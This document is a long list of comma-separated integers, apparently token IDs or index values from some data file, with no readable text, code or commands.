419, 418, 418, 418, 419, 419, 419, 419, 418, 640, 641, 642, 470, 643, 644, 645, 646, 647, 648, 649, 650, 651, 652, 653, 654, 655, 656, 425, 418, 419, 419, 419, 418, 418, 418, 418, 419, 419, 418, 418, 419, 418, 418, 418, 418, 418, 418, 418, 419, 418, 419, 418, 418, 418, 418, 418, 418, 419, 419, 419, 419, 419, 418, 418, 419, 418, 418, 418, 419, 418, 418, 419, 418, 418, 419, 418, 418, 419, 418, 418, 418, 419, 419, 419, 418, 418, 418, 419, 419, 419, 419, 418, 657, 470, 658, 470, 659, 660, 661, 662, 425, 418, 419, 419, 419, 419, 419, 418, 418, 418, 419, 418, 418, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 418, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, 418, 419, 419, 419, 419, 419, 418, 663, 470, 425, 418, 419, 664, 470, 455, 425, 418, 419, 665, 418, 425, 418, 419, 470, 666, 425, 418, 418, 419, 667, 418, 470, 668, 425, 418, 418, 419, 670, 669, 419, 419, 419, 419, 670, 669, 419, 670, 669, 670, 670, 419, 670, 669, 419, 670, 419, 670, 669, 419, 670, 419, 670, 419, 669, 670, 670, 670, 670, 670, 670, 670, 670, 669, 419, 419, 670, 670, 419, 670, 419, 670, 669, 670, 670, 670, 670, 670, 419, 670, 419, 670, 419, 670, 669, 670, 670, 419, 670, 419, 670, 669, 670, 670, 670, 670, 670, 419, 670, 419, 670, 669, 419, 419, 670, 419, 670, 669, 670, 670, 670, 419, 670, 419, 670, 419, 670, 419, 670, 669, 670, 419, 670, 419, 670, 669, 419, 670, 670, 670, 670, 419, 670, 419, 670, 419, 670, 419, 670, 419, 670, 419, 670, 669, 419, 670, 669, 670, 670, 670, 419, 670, 419, 670, 669, 670, 419, 670, 419, 670, 669, 419, 670, 670, 670, 670, 419, 670, 419, 670, 669, 419, 670, 419, 670, 419, 670, 669, 670, 670, 419, 670, 419, 670, 669, 419, 670, 419, 670, 419, 670, 419, 669, 670, 670, 670, 419, 670, 419, 670, 669, 419, 670, 669, 670, 670, 419, 670, 669, 670, 670, 670, 419, 670, 670, 670, 670, 670, 670, 419, 419, 670, 419, 670, 419, 670, 419, 670, 669, 670, 419, 670, 419, 670, 669, 419, 670, 669, 670, 419, 670, 669, 670, 419, 670, 669, 419, 419, 670, 669, 419, 670, 419, 670, 419, 670, 419, 670, 419, 670, 419, 669, 670, 670, 419, 670, 670, 670, 670, 419, 419, 670, 670, 670, 670, 670, 419, 670, 670, 670, 670, 670, 669, 419, 670, 670, 419, 670, 419, 669, 670, 670, 419, 670, 669, 419, 419, 670, 419, 669, 670, 670, 669, 419, 670, 419, 669, 670, 669, 419, 670, 419, 670, 419, 669, 670, 670, 669, 419, 670, 419, 670, 419, 670, 669, 670, 419, 670, 419, 670, 669, 419, 670, 669, 419, 419, 670, 669, 670, 419, 669, 670, 669, 419, 670, 419, 670, 419, 669, 670, 669, 419, 419, 670, 669, 670, 419, 670, 419, 670, 669, 419, 670, 419, 669, 670, 669, 419, 419, 670, 419, 669, 670, 669, 419, 419, 670, 669, 670, 419, 670, 669, 670, 419, 670, 669, 670, 419, 670, 419, 670, 419, 669, 670, 669, 419, 419, 670, 669, 670, 419, 670, 419, 670, 669, 419, 670, 669, 670, 670, 419, 670, 419, 670, 669, 669, 419, 669, 419, 670, 670, 419, 670, 670, 670, 670, 670, 670, 670, 669, 419, 670, 670, 670, 419, 669, 670, 670, 670, 419, 670, 419, 670, 419, 670, 419, 670, 419, 670, 669, 419, 419, 670, 669, 670, 419, 670, 669, 419, 419, 670, 419, 419, 419, 670, 419, 670, 419, 670, 419, 670, 419, 669, 419, 670, 419, 670, 419, 669, 670, 669, 419, 670, 419, 669, 670, 419, 670, 670, 670, 669, 419, 670, 419, 419, 670, 419, 669, 670, 670, 669, 419, 670, 670, 670, 670, 419, 670, 419, 669, 670, 670, 670, 419, 670, 669, 670, 419, 670, 419, 670, 419, 670, 419, 670, 669, 670, 670, 419, 670, 669, 419, 670, 419, 670, 419, 669, 670, 670, 669, 419, 670, 419, 669, 670, 669, 419, 670, 669, 419, 670, 419, 670, 669, 670, 670, 670, 669, 419, 419, 419, 670, 669, 419, 670, 419, 669, 670, 669, 419, 670, 419, 670, 419, 669, 670, 670, 670, 669, 419, 670, 419, 669, 670, 670, 670, 670, 669, 419, 670, 419, 670, 669, 419, 419, 670, 419, 670, 669, 670, 419, 670, 419, 669, 670, 670, 669, 419, 670, 419, 670, 669, 419, 670, 670, 670, 419, 670, 419, 669, 419, 670, 669, 670, 419, 419, 670, 419, 670, 419, 669, 670, 670, 670, 670, 669, 419, 670, 419, 670, 419, 670, 419, 670, 419, 670, 669, 670, 670, 670, 419, 670, 419, 670, 419, 670, 419, 669, 670, 670, 419, 419, 670, 669, 670, 419, 670, 670, 669, 419, 670, 419, 670, 669, 419, 419, 670, 670, 670, 670, 419, 670, 419, 670, 419, 669, 670, 670, 419, 669, 670, 669, 419, 670, 419, 669, 670, 669, 419, 670, 419, 669, 670, 419, 670, 670, 669, 419, 670, 670, 419, 669, 670, 669, 419, 670, 419, 670, 669, 670, 419, 670, 419, 669, 670, 669, 419, 670, 419, 670, 419, 670, 419, 670, 419, 670, 669, 671, 669, 672, 673, 674, 675, 676, 677, 678, 679, 680, 681, 682, 674, 683, 684, 685, 686, 687, 674, 688, 689, 690, 691, 692, 693, 694, 695, 696, 697, 698, 699, 700, 701, 702, 674, 703, 671, 683, 671, 704, 671, 669, 670, 670, 670, 670, 419, 669, 670, 670, 669, 419, 670, 669, 419, 419, 670, 669, 419, 670, 419, 669, 670, 669, 419, 419, 670, 419, 669, 670, 670, 669, 419, 670, 670, 670, 669, 419, 670, 419, 670, 670, 669, 419, 419, 670, 419, 669, 670, 669, 419, 670, 669, 419, 419, 670, 419, 670, 669, 419, 670, 419, 419, 670, 419, 670, 419, 669, 670, 670, 669, 419, 670, 670, 419, 670, 669, 419, 670, 419, 670, 669, 419, 670, 419, 669, 419, 670, 670, 670, 419, 670, 669, 670, 419, 670, 669, 419, 670, 669, 670, 419, 670, 669, 419, 670, 669, 419, 670, 419, 670, 669, 419, 670, 669, 419, 670, 669, 705, 706, 707, 708, 709, 710, 711, 712, 713, 714, 715, 716, 676, 717, 718, 719, 720, 721, 718, 722, 723, 724, 725, 726, 727, 728, 729, 730, 671, 669, 670, 419, 670, 669, 670, 419, 670, 669, 670, 419, 670, 669, 670, 419, 670, 669, 419, 670, 419, 670, 669, 670, 419, 670, 669, 670, 419, 419, 419, 670, 669, 670, 419, 670, 669, 670, 670, 670, 670, 419, 670, 419, 669, 670, 669, 419, 419, 670, 419, 670, 669, 670, 419, 670, 669, 419, 670, 669, 670, 670, 419, 670, 669, 419, 670, 669, 670, 419, 670, 669, 419, 670, 669, 419, 670, 669, 419, 670, 669, 670, 669, 419, 419, 670, 669, 670, 419, 670, 669, 419, 670, 419, 669, 670, 669, 419, 674, 731, 671, 674, 732, 674, 733, 683, 671, 669, 670, 669, 419, 670, 669, 419, 674, 732, 683, 671, 669, 674, 734, 671, 683, 671, 669, 670, 669, 419, 674, 735, 692, 736, 718, 737, 730, 674, 738, 739, 740, 671, 683, 671, 669, 670, 669, 419, 670, 419, 670, 669, 419, 670, 419, 670, 419, 669, 670, 670, 669, 419, 670, 419, 670, 669, 419, 670, 669, 674, 683, 425, 669, 741, 674, 742, 683, 671, 669, 425, 670, 669, 419, 670, 669, 419, 743, 674, 744, 745, 671, 669, 419, 670, 669, 670, 670, 669, 419, 419, 670, 419, 670, 669, 674, 746, 747, 748, 749, 750, 751, 752, 753, 754, 755, 756, 671, 683, 671, 669, 670, 419, 670, 670, 670, 670, 670, 670, 670, 419, 670, 419, 670, 670, 670, 670, 670, 670, 669, 419, 670, 670, 419, 670, 419, 669, 670, 419, 670, 670, 670, 419, 670, 670, 419, 670, 670, 419, 670, 670, 419, 670, 670, 669, 419, 674, 757, 674, 733, 758, 759, 760, 671, 683, 671, 669, 670, 669, 419, 670, 670, 670, 419, 670, 670, 670, 419, 670, 419, 670, 669, 419, 419, 419, 419, 670, 670, 419, 419, 419, 419, 419, 670, 670, 670, 670, 670, 670, 670, 419, 670, 419, 670, 419, 669, 670, 670, 670, 419, 670, 419, 670, 669, 683, 425, 761, 674, 683, 425, 670, 669, 419, 762, 674, 763, 683, 425, 670, 669, 419, 670, 419, 764, 683, 671, 669, 425, 670, 669, 419, 674, 765, 671, 683, 671, 669, 670, 669, 419, 766, 766, 766, 768, 769, 770, 766, 767, 767, 771, 768, 771, 769, 771, 767, 772, 773, 772, 775, 774, 776, 774, 777, 774, 779, 778, 781, 782, 780, 781, 783, 780, 785, 784, 786, 784, 787, 784, 789, 788, 791, 792, 790, 791, 793, 790, 795, 795, 795, 795, 794, 795, 795, 795, 794, 795, 794, 795, 795, 794, 794, 794, 794, 794, 794, 795, 794, 794, 794, 794, 795, 795, 795, 795, 795, 794, 794, 795, 794, 794, 795, 794, 795, 794, 794, 795, 794, 794, 794, 795, 795, 795, 795, 795, 795, 794, 795, 795, 794, 795, 795, 794, 794, 794, 794, 794, 794, 795, 795, 794, 794, 795, 794, 795, 795, 795, 794, 797, 798, 799, 800, 801, 802, 803, 804, 805, 806, 807, 808, 809, 810, 811, 812, 813, 814, 815, 816, 817, 818, 819, 820, 821, 822, 823, 824, 825, 826, 827, 828, 794, 795, 794, 795, 794, 795, 795, 794, 795, 795, 794, 794, 794, 795, 794, 794, 794, 794, 794, 794, 794, 795, 794, 794, 794, 794, 794, 794, 794, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 794, 794, 794, 794, 794, 794, 794, 794, 795, 795, 795, 795, 795, 795, 795, 795, 795, 794, 794, 794, 794, 794, 794, 794, 794, 795, 795, 795, 795, 795, 795, 795, 795, 795, 794, 795, 795, 795, 795, 795, 795, 795, 795, 794, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 794, 795, 795, 795, 795, 795, 795, 794, 795, 795, 795, 795, 795, 795, 794, 794, 794, 794, 794, 794, 794, 794, 795, 795, 795, 795, 795, 795, 795, 795, 794, 795, 795, 795, 795, 795, 795, 795, 795, 794, 795, 795, 795, 795, 795, 794, 794, 794, 794, 794, 794, 794, 794, 795, 795, 795, 795, 795, 795, 794, 795, 795, 795, 795, 795, 795, 795, 794, 795, 794, 795, 795, 794, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 794, 795, 795, 795, 795, 795, 794, 795, 795, 795, 795, 795, 795, 795, 794, 795, 795, 795, 794, 795, 795, 795, 794, 795, 794, 829, 830, 831, 832, 833, 834, 835, 836, 837, 838, 839, 840, 841, 842, 843, 844, 845, 846, 847, 848, 849, 850, 851, 852, 853, 854, 855, 856, 857, 858, 859, 860, 861, 862, 863, 864, 801, 865, 866, 867, 868, 869, 870, 801, 846, 801, 794, 795, 794, 795, 795, 794, 794, 795, 794, 794, 794, 794, 795, 794, 794, 794, 794, 794, 795, 794, 794, 794, 794, 794, 795, 795, 795, 795, 795, 794, 794, 794, 795, 794, 794, 794, 795, 795, 795, 794, 794, 794, 795, 795, 794, 794, 794, 795, 795, 795, 794, 794, 794, 795, 795, 795, 795, 794, 795, 795, 795, 795, 794, 794, 794, 794, 794, 795, 795, 795, 795, 794, 794, 795, 795, 795, 794, 794, 795, 795, 795, 795, 794, 795, 795, 794, 795, 795, 794, 794, 794, 795, 795, 795, 794, 794, 794, 794, 795, 795, 795, 795, 795, 794, 794, 794, 794, 795, 794, 795, 795, 794, 795, 795, 794, 795, 794, 795, 795, 795, 794, 795, 795, 794, 794, 794, 795, 794, 794, 794, 794, 794, 794, 794, 795, 795, 795, 795, 794, 795, 795, 795, 795, 795, 795, 795, 794, 871, 872, 873, 874, 875, 876, 877, 878, 879, 801, 880, 881, 882, 883, 884, 794, 795, 794, 794, 794, 794, 794, 795, 795, 794, 795, 795, 795, 794, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 794, 795, 795, 795, 794, 794, 795, 795, 795, 794, 794, 795, 794, 794, 795, 795, 795, 795, 795, 794, 794, 794, 794, 795, 795, 795, 795, 795, 795, 794, 795, 795, 795, 795, 795, 794, 885, 840, 886, 887, 888, 801, 889, 890, 846, 801, 794, 795, 795, 795, 795, 794, 794, 794, 795, 794, 794, 795, 795, 795, 794, 794, 794, 795, 795, 794, 851, 794, 846, 801, 801, 891, 794, 801, 794, 795, 846, 892, 893, 846, 894, 895, 846, 896, 897, 898, 899, 900, 901, 846, 902, 903, 904, 846, 905, 906, 907, 865, 908, 909, 910, 865, 911, 846, 801, 794, 794, 795, 795, 794, 794, 794, 795, 795, 795, 795, 794, 795, 795, 794, 794, 794, 794, 795, 795, 794, 794, 795, 795, 794, 794, 794, 794, 794, 794, 795, 795, 795, 794, 794, 794, 795, 794, 794, 794, 795, 795, 794, 795, 795, 795, 795, 794, 795, 795, 795, 795, 794, 795, 795, 795, 795, 795, 795, 794, 794, 794, 795, 795, 795, 795, 794, 912, 913, 794, 801, 794, 795, 794, 794, 795, 846, 914, 915, 916, 917, 896, 918, 919, 920, 921, 922, 923, 924, 925, 926, 927, 928, 929, 801, 794, 794, 795, 794, 795, 795, 795, 795, 795, 795, 795, 794, 795, 795, 795, 794, 795, 794, 794, 795, 794, 795, 794, 794, 795, 795, 795, 795, 794, 795, 795, 795, 794, 794, 795, 795, 795, 795, 794, 795, 795, 794, 794, 795, 795, 795, 795, 795, 794, 930, 931, 932, 933, 934, 935, 936, 937, 938, 939, 940, 936, 942, 943, 944, 945, 941, 794, 946, 947, 846, 948, 949, 950, 951, 952, 953, 954, 955, 956, 846, 801, 957, 958, 959, 960, 846, 961, 962, 963, 964, 965, 966, 967, 968, 969, 970, 971, 972, 973, 974, 975, 846, 877, 801, 976, 794, 795, 795, 795, 795, 795, 794, 794, 794, 795, 794, 795, 795, 794, 795, 794, 795, 795, 794, 794, 794, 795, 795, 795, 794, 794, 794, 795, 795, 795, 794, 794, 794, 794, 795, 794, 794, 795, 794, 794, 795, 795, 795, 794, 794, 795, 794, 795, 795, 795, 794, 795, 795, 795, 795, 795, 795, 794, 794, 794, 795, 795, 794, 795, 795, 794, 795, 795, 794, 795, 795, 794, 795, 795, 795, 795, 795, 795, 795, 794, 795, 794, 795, 794, 795, 795, 794, 795, 794, 795, 795, 794, 795, 794, 795, 794, 977, 948, 978, 979, 980, 981, 982, 983, 984, 985, 986, 829, 987, 846, 988, 989, 990, 846, 991, 861, 992, 993, 994, 995, 996, 997, 998, 999, 846, 794, 794, 794, 795, 795, 795, 794, 795, 795, 794, 795, 795, 794, 794, 794, 794, 794, 795, 795, 795, 795, 794, 795, 795, 795, 795, 795, 795, 794, 794, 794, 795, 795, 795, 795, 795, 795, 795, 795, 795, 794, 795, 795, 795, 795, 795, 795, 795, 795, 794, 795, 795, 794, 794, 794, 794, 795, 795, 795, 794, 794, 794, 795, 794, 794, 794, 795, 795, 794, 795, 795, 795, 794, 795, 794, 794, 794, 795, 795, 794, 795, 795, 795, 794, 795, 795, 795, 794, 794, 794, 794, 795, 846, 915, 1000, 1001, 801, 846, 801, 794, 794, 795, 794, 795, 846, 1000, 801, 794, 846, 1002, 801, 794, 794, 795, 846, 1003, 1004, 1005, 906, 1006, 1007, 846, 1008, 1009, 1010, 801, 794, 794, 795, 795, 795, 794, 795, 795, 794, 795, 795, 795, 795, 794, 794, 795, 794, 794, 795, 795, 794, 795, 794, 846, 801, 794, 1011, 846, 1012, 794, 801, 794, 795, 794, 795, 1013, 846, 1014, 1015, 794, 795, 794, 794, 794, 795, 795, 795, 795, 794, 1016, 1017, 1018, 846, 1019, 1020, 1021, 1022, 1023, 1024, 1025, 1026, 1027, 1028, 1029, 1030, 1031, 1032, 801, 794, 795, 795, 795, 794, 794, 794, 794, 795, 795, 794, 794, 795, 794, 794, 794, 794, 794, 794, 794, 795, 794, 795, 794, 794, 794, 794, 794, 794, 795, 795, 795, 795, 795, 794, 794, 795, 794, 794, 794, 795, 794, 794, 795, 794, 794, 795, 794, 794, 795, 794, 794, 794, 795, 795, 795, 794, 794, 794, 795, 795, 795, 795, 794, 1033, 846, 1034, 846, 1035, 1036, 1037, 1038, 801, 794, 795, 795, 795, 795, 795, 794, 794, 794, 795, 794, 794, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 794, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, 794, 795, 795, 795, 795, 795, 794, 1039, 846, 801, 794, 795, 1040, 846, 831, 801, 794, 795, 1041, 794, 801, 794, 795, 846, 1042, 801, 794, 794, 795, 1043, 794, 846, 1044, 801, 794, 794, 795, 1046, 1045, 795, 795, 795, 795, 1046, 1045, 795, 1046, 1045, 1046, 1046, 795, 1046, 1045, 795, 1046, 795, 1046, 1045, 795, 1046, 795, 1046, 795, 1045, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1045, 795, 795, 1046, 1046, 795, 1046, 795, 1046, 1045, 1046, 1046, 1046, 1046, 1046, 795, 1046, 795, 1046, 795, 1046, 1045, 1046, 1046, 795, 1046, 795, 1046, 1045, 1046, 1046, 1046, 1046, 1046, 795, 1046, 795, 1046, 1045, 795, 795, 1046, 795, 1046, 1045, 1046, 1046, 1046, 795, 1046, 795, 1046, 795, 1046, 795, 1046, 1045, 1046, 795, 1046, 795, 1046, 1045, 795, 1046, 1046, 1046, 1046, 795, 1046, 795, 1046, 795, 1046, 795, 1046, 795, 1046, 795, 1046, 1045, 795, 1046, 1045, 1046, 1046, 1046, 795, 1046, 795, 1046, 1045, 1046, 795, 1046, 795, 1046, 1045, 795, 1046, 1046, 1046, 1046, 795, 1046, 795, 1046, 1045, 795, 1046, 795, 1046, 795, 1046, 1045, 1046, 1046, 795, 1046, 795, 1046, 1045, 795, 1046, 795, 1046, 795, 1046, 795, 1045, 1046, 1046, 1046, 795, 1046, 795, 1046, 1045, 795, 1046, 1045, 1046, 1046, 795, 1046, 1045, 1046, 1046, 1046, 795, 1046, 1046, 1046, 1046, 1046, 1046, 795, 795, 1046, 795, 1046, 795, 1046, 795, 1046, 1045, 1046, 795, 1046, 795, 1046, 1045, 795, 1046, 1045, 1046, 795, 1046, 1045, 1046, 795, 1046, 1045, 795, 795, 1046, 1045, 795, 1046, 795, 1046, 795, 1046, 795, 1046, 795, 1046, 795, 1045, 1046, 1046, 795, 1046, 1046, 1046, 1046, 795, 795, 1046, 1046, 1046, 1046, 1046, 795, 1046, 1046, 1046, 1046, 1046, 1045, 795, 1046, 1046, 795, 1046, 795, 1045, 1046, 1046, 795, 1046, 1045, 795, 795, 1046, 795, 1045, 1046, 1046, 1045, 795, 1046, 795, 1045, 1046, 1045, 795, 1046, 795, 1046, 795, 1045, 1046, 1046, 1045, 795, 1046, 795, 1046, 795, 1046, 1045, 1046, 795, 1046, 795, 1046, 1045, 795, 1046, 1045, 795, 795, 1046, 1045, 1046, 795, 1045, 1046, 1045, 795, 1046, 795, 1046, 795, 1045, 1046, 1045, 795, 795, 1046, 1045, 1046, 795, 1046, 795, 1046, 1045, 795, 1046, 795, 1045, 1046, 1045, 795, 795, 1046, 795, 1045, 1046, 1045, 795, 795, 1046, 1045, 1046, 795, 1046, 1045, 1046, 795, 1046, 1045, 1046, 795, 1046, 795, 1046, 795, 1045, 1046, 1045, 795, 795, 1046, 1045, 1046, 795, 1046, 795, 1046, 1045, 795, 1046, 1045, 1046, 1046, 795, 1046, 795, 1046, 1045, 1045, 795, 1045, 795, 1046, 1046, 795, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1045, 795, 1046, 1046, 1046, 795, 1045, 1046, 1046, 1046, 795, 1046, 795, 1046, 795, 1046, 795, 1046, 795, 1046, 1045, 795, 795, 1046, 1045, 1046, 795, 1046, 1045, 795, 795, 1046, 795, 795, 795, 1046, 795, 1046, 795, 1046, 795, 1046, 795, 1045, 795, 1046, 795, 1046, 795, 1045, 1046, 1045, 795, 1046, 795, 1045, 1046, 795, 1046, 1046, 1046, 1045, 795, 1046, 795, 795, 1046, 795, 1045, 1046, 1046, 1045, 795, 1046, 1046, 1046, 1046, 795, 1046, 795, 1045, 1046, 1046, 1046, 795, 1046, 1045, 1046, 795, 1046, 795, 1046, 795, 1046, 795, 1046, 1045, 1046, 1046, 795, 1046, 1045, 795, 1046, 795, 1046, 795, 1045, 1046, 1046, 1045, 795, 1046, 795, 1045, 1046, 1045, 795, 1046, 1045, 795, 1046, 795, 1046, 1045, 1046, 1046, 1046, 1045, 795, 795, 795, 1046, 1045, 795, 1046, 795, 1045, 1046, 1045, 795, 1046, 795, 1046, 795, 1045, 1046, 1046, 1046, 1045, 795, 1046, 795, 1045, 1046, 1046, 1046, 1046, 1045, 795, 1046, 795, 1046, 1045, 795, 795, 1046, 795, 1046, 1045, 1046, 795, 1046, 795, 1045, 1046, 1046, 1045, 795, 1046, 795, 1046, 1045, 795, 1046, 1046, 1046, 795, 1046, 795, 1045, 795, 1046, 1045, 1046, 795, 795, 1046, 795, 1046, 795, 1045, 1046, 1046, 1046, 1046, 1045, 795, 1046, 795, 1046, 795, 1046, 795, 1046, 795, 1046, 1045, 1046, 1046, 1046, 795, 1046, 795, 1046, 795, 1046, 795, 1045, 1046, 1046, 795, 795, 1046, 1045, 1046, 795, 1046, 1046, 1045, 795, 1046, 795, 1046, 1045, 795, 795, 1046, 1046, 1046, 1046, 795, 1046, 795, 1046, 795, 1045, 1046, 1046, 795, 1045, 1046, 1045, 795, 1046, 795, 1045, 1046, 1045, 795, 1046, 795, 1045, 1046, 795, 1046, 1046, 1045, 795, 1046, 1046, 795, 1045, 1046, 1045, 795, 1046, 795, 1046, 1045, 1046, 795, 1046, 795, 1045, 1046, 1045, 795, 1046, 795, 1046, 795, 1046, 795, 1046, 795, 1046, 1045, 1047, 1045, 1048, 1049, 1050, 1051, 1052, 1053, 1054, 1055, 1056, 1057, 1058, 1050, 1059, 1060, 1061, 1062, 1063, 1050, 1064, 1065, 1066, 1067, 1068, 1069, 1070, 1071, 1072, 1073, 1074, 1075, 1076, 1077, 1078, 1050, 1079, 1047, 1059, 1047, 1080, 1047, 1045, 1046, 1046, 1046, 1046, 795, 1045, 1046, 1046, 1045, 795, 1046, 1045, 795, 795, 1046, 1045, 795, 1046, 795, 1045, 1046, 1045, 795, 795, 1046, 795, 1045, 1046, 1046, 1045, 795, 1046, 1046, 1046, 1045, 795, 1046, 795, 1046, 1046, 1045, 795, 795, 1046, 795, 1045, 1046, 1045, 795, 1046, 1045, 795, 795, 1046, 795, 1046, 1045, 795, 1046, 795, 795, 1046, 795, 1046, 795, 1045, 1046, 1046, 1045, 795, 1046, 1046, 795, 1046, 1045, 795, 1046, 795, 1046, 1045, 795, 1046, 795, 1045, 795, 1046, 1046, 1046, 795, 1046, 1045, 1046, 795, 1046, 1045, 795, 1046, 1045, 1046, 795, 1046, 1045, 795, 1046, 1045, 795, 1046, 795, 1046, 1045, 795, 1046, 1045, 795, 1046, 1045, 1081, 1082, 1083, 1084, 1085, 1086, 1087, 1088, 1089, 1090, 1091, 1092, 1052, 1093, 1094, 1095, 1096, 1097, 1094, 1098, 1099, 1100, 1101, 1102, 1103, 1104, 1105, 1106, 1047, 1045, 1046, 795, 1046, 1045, 1046, 795, 1046, 1045, 1046, 795, 1046, 1045, 1046, 795, 1046, 1045, 795, 1046, 795, 1046, 1045, 1046, 795, 1046, 1045, 1046, 795, 795, 795, 1046, 1045, 1046, 795, 1046, 1045, 1046, 1046, 1046, 1046, 795, 1046, 795, 1045, 1046, 1045, 795, 795, 1046, 795, 1046, 1045, 1046, 795, 1046, 1045, 795, 1046, 1045, 1046, 1046, 795, 1046, 1045, 795, 1046, 1045, 1046, 795, 1046, 1045, 795, 1046, 1045, 795, 1046, 1045, 795, 1046, 1045, 1046, 1045, 795, 795, 1046, 1045, 1046, 795, 1046, 1045, 795, 1046, 795, 1045, 1046, 1045, 795, 1050, 1107, 1047, 1050, 1108, 1050, 1109, 1059, 1047, 1045, 1046, 1045, 795, 1046, 1045, 795, 1050, 1108, 1059, 1047, 1045, 1050, 1110, 1047, 1059, 1047, 1045, 1046, 1045, 795, 1050, 1111, 1068, 1112, 1094, 1113, 1106, 1050, 1114, 1115, 1116, 1047, 1059, 1047, 1045, 1046, 1045, 795, 1046, 795, 1046, 1045, 795, 1046, 795, 1046, 795, 1045, 1046, 1046, 1045, 795, 1046, 795, 1046, 1045, 795, 1046, 1045, 1050, 1059, 801, 1045, 1117, 1050, 1118, 1059, 1047, 1045, 801, 1046, 1045, 795, 1046, 1045, 795, 1119, 1050, 1120, 1121, 1047, 1045, 795, 1046, 1045, 1046, 1046, 1045, 795, 795, 1046, 795, 1046, 1045, 1050, 1122, 1123, 1124, 1125, 1126, 1127, 1128, 1129, 1130, 1131, 1132, 1047, 1059, 1047, 1045, 1046, 795, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 795, 1046, 795, 1046, 1046, 1046, 1046, 1046, 1046, 1045, 795, 1046, 1046, 795, 1046, 795, 1045, 1046, 795, 1046, 1046, 1046, 795, 1046, 1046, 795, 1046, 1046, 795, 1046, 1046, 795, 1046, 1046, 1045, 795, 1050, 1133, 1050, 1109, 1134, 1135, 1136, 1047, 1059, 1047, 1045, 1046, 1045, 795, 1046, 1046, 1046, 795, 1046, 1046, 1046, 795, 1046, 795, 1046, 1045, 795, 795, 795, 795, 1046, 1046, 795, 795, 795, 795, 795, 1046, 1046, 1046, 1046, 1046, 1046, 1046, 795, 1046, 795, 1046, 795, 1045, 1046, 1046, 1046, 795, 1046, 795, 1046, 1045, 1059, 801, 1137, 1050, 1059, 801, 1046, 1045, 795, 1138, 1050, 1139, 1059, 801, 1046, 1045, 795, 1046, 795, 1140, 1059, 1047, 1045, 801, 1046, 1045, 795, 1050, 1141, 1047, 1059, 1047, 1045, 1046, 1045, 795, 1142, 1143, 1144, 1142, 1145, 1146, 1147, 1149, 1150, 1151, 1152, 1153, 1154, 670, 670, 419, 1155, 1156, 1157, 1158, 670, 1161, 1162, 1164, 1165, 1166, 1160, 1167, 1168, 1169, 1170, 1171, 1172, 1173, 1174, 1175, 1176, 1177, 1178, 1179, 1180, 1181, 1182, 1183, 1184, 1185, 1186, 1188, 1189, 1190, 1191, 1192, 1193, 670, 1148, 7, 1148, 419, 1148, 419, 1160, 1163, 1187, 1194, 1159, 1142, 1142, 1195, 1143, 1196, 1198, 1197, 4, 1147, 1200, 1197, 1201, 1197, 2, 1147, 1197, 6, 8, 8, 7, 1202, 1203, 1204, 1197, 1205, 1206, 1197, 1207, 1197, 419, 419, 1209, 1210, 489, 470, 1211, 470, 1212, 1213, 1214, 1215, 1216, 1217, 1218, 1219, 1220, 1221, 1222, 544, 1223, 520, 1224, 1225, 1226, 1227, 1228, 1229, 1230, 1231, 1232, 1233, 1234, 1235, 419, 419, 419, 425, 565, 1208, 1236, 1197, 1237, 1197, 670, 1238, 419, 419, 419, 670, 1238, 670, 670, 419, 1238, 419, 1238, 419, 1238, 419, 670, 670, 670, 670, 670, 1238, 419, 670, 670, 670, 419, 670, 419, 1238, 419, 670, 670, 670, 670, 419, 1238, 670, 419, 670, 419, 670, 419, 670, 670, 419, 670, 1238, 419, 670, 419, 670, 419, 670, 1238, 670, 419, 1238, 670, 419, 670, 419, 1238, 670, 670, 670, 670, 670, 1238, 419, 419, 670, 419, 670, 1238, 670, 419, 1238, 670, 670, 1238, 419, 419, 670, 419, 670, 419, 670, 1238, 1239, 1240, 1241, 1242, 1243, 1244, 1245, 1246, 1247, 1248, 1249, 715, 1250, 1251, 1252, 1253, 1254, 1255, 1256, 1257, 1258, 1259, 1260, 1261, 1260, 1262, 1263, 1264, 1265, 1266, 671, 1238, 1267, 1268, 1269, 1270, 1271, 1272, 1273, 1274, 1275, 1276, 1277, 1278, 1279, 1280, 1281, 1282, 1283, 1284, 1285, 725, 1286, 1287, 1288, 692, 1289, 1290, 1291, 1292, 1293, 1294, 671, 1295, 1296, 1297, 1298, 1299, 1300, 1301, 1302, 674, 1303, 671, 674, 1304, 1305, 1306, 1307, 683, 1238, 1308, 1309, 1310, 1311, 703, 1312, 1313, 683, 1314, 1315, 1316, 1317, 1318, 671, 1238, 1319, 1278, 1320, 1321, 1322, 683, 1323, 1324, 674, 671, 683, 425, 1238, 1288, 671, 674, 683, 425, 683, 425, 1325, 683, 1238, 425, 674, 1326, 1327, 674, 1328, 1329, 681, 1330, 1331, 1332, 1333, 1334, 1284, 1335, 1336, 1337, 1338, 1339, 1340, 1341, 1342, 1343, 1344, 1345, 1346, 1303, 1347, 674, 683, 425, 1238, 1348, 1349, 683, 671, 1238, 425, 671, 1238, 674, 1350, 731, 1351, 1352, 1353, 1354, 1355, 1356, 1357, 1358, 671, 1359, 1360, 1361, 1362, 1363, 1364, 671, 683, 1238, 1366, 1367, 1368, 1369, 1370, 1371, 1372, 1373, 1374, 1375, 1376, 1372, 1378, 1379, 1380, 1381, 1365, 1377, 1365, 1238, 1365, 1238, 1382, 1382, 1383, 1384, 1385, 1386, 1387, 1388, 1389, 1390, 1387, 767, 1391, 1391, 1391, 1392, 1391, 1391, 768, 769, 770, 1391, 767, 1382, 1382, 1393, 1396, 1397, 1395, 1398, 1399, 1398, 1400, 1391, 1402, 1401, 1396, 1403, 1395, 1405, 1404, 1394, 1394, 1394, 768, 769, 770, 1394, 767, 767, 1406, 773, 1406, 1407, 1406, 775, 1408, 1409, 1410, 1411, 1412, 1413, 1414, 1411, 776, 775, 1408, 1415, 1415, 777, 779, 1416, 1415, 776, 1418, 1419, 1417, 1418, 1419, 1420, 1417, 775, 1408, 1421, 1415, 775, 1408, 1415, 1423, 1422, 1425, 